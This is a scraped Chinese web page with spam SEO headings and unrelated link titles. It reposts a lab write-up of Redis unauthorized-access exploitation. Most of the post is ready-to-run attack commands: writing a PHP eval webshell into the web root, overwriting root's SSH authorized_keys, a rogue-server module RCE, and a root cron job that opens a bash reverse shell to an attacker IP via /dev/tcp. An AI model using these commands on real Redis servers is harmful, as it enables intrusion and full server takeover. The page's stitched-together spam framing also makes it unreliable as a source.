当前位置: 首页 > news >正文

刚做的网站上线后收不到了龙岩seo

刚做的网站上线后收不到了,龙岩seo,做效果图常用的网站,南阳网站优化一、基本信息 靶机:IP:192.168.100.40 攻击机:IP:192.168.100.60 二、漏洞 & 过程 Redis 未授权访问漏洞利用无口令远程登录靶机 靶机 cd redis-4.0.8/src./redis-server ../redis.conf 攻击机 ./redis-cli -h 192.168.100.40 Redis 未授权访问…

一、基本信息

靶机:IP:192.168.100.40

攻击机:IP:192.168.100.60

二、漏洞 & 过程

Redis 未授权访问漏洞利用无口令远程登录靶机

靶机

 
cd redis-4.0.8/src
./redis-server ../redis.conf

   

攻击机

 
./redis-cli -h 192.168.100.40

   

Redis 未授权访问漏洞利用持久化写入一句话木马

攻击机写下如下 redis 命令
 
config set dir /var/www/html
config set dbfilename test.php
set webshell "\r\n\r\n<?php @eval($_POST['passwd']); ?>\r\n\r\n"
save

   

蚁剑连接

Redis 未授权访问漏洞利用公私钥认证获取 root 权限

攻击机 & 靶机

 
ssh-keygen -t rsa

   

攻击机

 
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
cat 1.txt | /root/redis-4.0.8/src/redis-cli -h 192.168.100.40 -x set crack

   

 
config set dir /root/.ssh
config set dbfilename authorized_keys
save

   

远程连接
 
ssh -i id_rsa root@192.168.100.40

   

Redis 未授权访问漏洞利用攻击软件获得 shell

攻击机

 
cd /root/redis-4.0.8/src
./redis-cli -h 192.168.100.40
slaveof 192.168.100.60 6379
info replication

   

 
unzip redis-rogue-server-master.zip
cd redis-rogue-server-master/RedisModulesSDK/exp
make

   

 
python3 /root/redis-rogue-server-master/redis-rogue-server.py --rhost 192.168.100.40 --lhost 192.168.100.60 --exp exp.so

   

未授权访问漏洞利用持久化写计划任务来反弹一个 shell 权限

攻击机监听端口

 
nc -lvvp 8888

   

设置 shell 反弹

 
cd /root/redis-4.0.8/src
./redis-cli -h 192.168.100.40
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.100.60/8888 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

   

反弹成功

作 者:PeiyuJue
链 接: Redis未授权访问漏洞利用合集 – Candid Chronicles
来 源:Aaron的博客
版 权 声 明:本博客所有文章除特别声明外,均采用CC BY-NC-SA 4.0许可协议。文章版权归作者所有,未经允许请勿转载!

http://www.zhongyajixie.com/news/17627.html

相关文章:

  • 网站推广优化教程2021年年度关键词排名
  • 建设银行官方投诉网站友情链接获取的途径有哪些
  • 建设网站费用入会计分录电脑培训班在哪里有最近的
  • 网站制作知名 乐云践新专家百度上的广告多少钱一个月
  • 有哪些专做自然风景图片的网站百度竞价平台官网
  • 网络销售一般流程seo网站优化软件价格
  • 模板网站建设开发最近一周新闻大事件
  • 公司做网站需要服务器吗长沙的seo网络公司
  • 专业建设网站开发批量关键词排名查询工具
  • 淘宝网站是哪个公司做的市场营销的八个理论
  • 怎样给网站做外链搜索热度和搜索人气
  • 酒店网站建设报告书关键词优化排名查询
  • 青海网站建设公司大片ppt免费下载安装
  • 网站建设 风险杭州百度推广电话
  • wrb网站架构免费推广方式都有哪些
  • 插头 东莞网站建设百度点击软件找名风
  • wordpress ajax查询文章上海seo公司
  • 外贸独立站seo企业培训权威机构
  • 国产亚av手机在线观看seo快速推广窍门大公开
  • 泊头网站制作西安seo培训机构
  • 宝鸡百度seo优化网站怎么真实点击
  • .net网站开发怎么发布360网站关键词排名优化
  • 精美网站建设公司网站域名查询地址
  • 柳州做网站人员怎样在百度上发布免费广告
  • 新疆建设质监站网站常德网站设计
  • 网站外链软件资深seo顾问
  • 怎么用网站的二级目录做排名推广代理平台登录
  • 青海网站建设西宁网络科技公司小广告多的网站
  • 云南建设厅网站 安全员网站服务器一年的费用
  • 政府部门网站建设需求搜索引擎优化缩写